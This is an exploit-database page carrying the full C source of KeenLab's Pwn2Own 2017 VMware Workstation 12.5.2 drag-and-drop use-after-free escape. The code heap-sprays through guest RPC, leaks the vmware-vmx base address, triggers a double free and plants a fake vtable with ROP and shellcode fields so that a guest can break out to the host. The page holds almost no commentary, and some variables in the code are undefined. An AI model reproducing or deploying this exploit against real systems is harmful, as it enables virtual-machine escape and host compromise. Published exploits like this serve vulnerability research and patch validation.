VMware Workstation 12.5.2 Drag n Drop Use-After-Free (Pwn2Own 2017)

2018.04.26
Credit: keenlab
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

char *initial_dnd = "tools.capability.dnd_version 4"; static const int cbObj = 0x100; char *second_dnd = "tools.capability.dnd_version 2"; char *chgver = "vmx.capability.dnd_version"; char *call_transport = "dnd.transport "; char *readstring = "ToolsAutoInstallGetParams"; typedef struct _DnDCPMsgHdrV4 { char magic[14]; char dummy[2]; size_t ropper[13]; char shellcode[175]; char padding[0x80]; } DnDCPMsgHdrV4; void PrepareLFH() { char *result = NULL; char *pObj = malloc(cbObj); memset(pObj, 'A', cbObj); pObj[cbObj - 1] = 0; for (int idx = 0; idx < 1; ++idx) // just occupy 1 { char *spary = stringf("info-set guestinfo.k%d %s", idx, pObj); RpcOut_SendOneRaw(spary, strlen(spary), &result, NULL); //alloc one to occupy 4 } free(pObj); } size_t infoleak() { #define MAX_LFH_BLOCK 512 Message_Channel *chans[5] = {0}; for (int i = 0; i < 5; ++i) { chans[i] = Message_Open(0x49435052); if (chans[i]) { Message_SendSize(chans[i], cbObj - 1); //just alloc } else { Message_Close(chans[i - 1]); //keep 1 channel valid chans[i - 1] = 0; break; } } PrepareLFH(); //make sure we have at least 7 hole or open and occupy next LFH block for (int i = 0; i < 5; ++i) { if (chans[i]) { Message_Close(chans[i]); } } char *result = NULL; char *pObj = malloc(cbObj); memset(pObj, 'A', cbObj); pObj[cbObj - 1] = 0; char *spary2 = stringf("guest.upgrader_send_cmd_line_args %s", pObj); while (1) { for (int i = 0; i < MAX_LFH_BLOCK; ++i) { RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); } for (int i = 0; i < MAX_LFH_BLOCK; ++i) { Message_Channel *chan = Message_Open(0x49435052); if (chan == NULL) { puts("Message send error!"); Sleep(100); } else { Message_SendSize(chan, cbObj - 1); Message_RawSend(chan, "\xA0\x75", 2); //just ret Message_Close(chan); } } Message_Channel *chan = Message_Open(0x49435052); Message_SendSize(chan, cbObj - 1); Message_RawSend(chan, "\xA0\x74", 2); //free RpcOut_SendOneRaw(dndtransport, strlen(dndtransport), &result, NULL); //trigger double free for (int i = 0; i < min(cbObj-3,MAX_LFH_BLOCK); ++i) { RpcOut_SendOneRaw(spary2, strlen(spary2), &result, NULL); Message_RawSend(chan, "B", 1); RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL); if (result[0] == 'A' && result[1] == 'A' && strcmp(result, pObj)) { Message_Close(chan); //free the string for (int i = 0; i < MAX_LFH_BLOCK; ++i) { puts("Trying to leak vtable"); RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL); size_t p = 0; if (result) { memcpy(&p, result, min(strlen(result), 8)); printf("Leak content: %p\n", p); } size_t low = p & 0xFFFF; if (low == 0x74A8 || //RpcBase low == 0x74d0 || //CpV4 low == 0x7630) //DnDV4 { printf("vmware-vmx base: %p\n", (p & (~0xFFFF)) - 0x7a0000); return (p & (~0xFFFF)) - 0x7a0000; } RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); } } } Message_Close(chan); } return 0; } void exploit(size_t base) { char *result = NULL; char *uptime_info = stringf("SetGuestInfo -7-%I64u", 0x41414141); char *pObj = malloc(cbObj); memset(pObj, 0, cbObj); DnDCPMsgHdrV4 *hdr = malloc(sizeof(DnDCPMsgHdrV4)); memset(hdr, 0, sizeof(DnDCPMsgHdrV4)); memcpy(hdr->magic, call_transport, strlen(call_transport)); while (1) { RpcOut_SendOneRaw(second_dnd, strlen(second_dnd), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); for (int i = 0; i < MAX_LFH_BLOCK; ++i) { Message_Channel *chan = Message_Open(0x49435052); Message_SendSize(chan, cbObj - 1); size_t fake_vtable[] = { base + 0xB87340, base + 0xB87340, base + 0xB87340, base + 0xB87340}; memcpy(pObj, &fake_vtable, sizeof(size_t) * 4); Message_RawSend(chan, pObj, sizeof(size_t) * 4); Message_Close(chan); } RpcOut_SendOneRaw(uptime_info, strlen(uptime_info), &result, NULL); RpcOut_SendOneRaw(hdr, sizeof(DnDCPMsgHdrV4), &result, NULL); //check pwn success? RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL); if (*(size_t *)result == 0xdeadbeefc0debabe) { puts("VMware escape success! \nPwned by KeenLab, Tencent"); RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);//fix dnd to callable prevent vmtoolsd problem RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); return; } //host dndv4 fill in, try to clean up and free again Sleep(100); puts("Object wrong! Retry..."); RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); } } int main(int argc, char *argv[]) { int ret = 1; __try { while (1) { size_t base = 0; do { puts("Leaking..."); base = infoleak(); } while (!base); puts("Pwning..."); exploit(base); break; } } __except (ExceptionIsBackdoor(GetExceptionInformation()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { fprintf(stderr, NOT_VMWARE_ERROR); return 1; } return ret; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top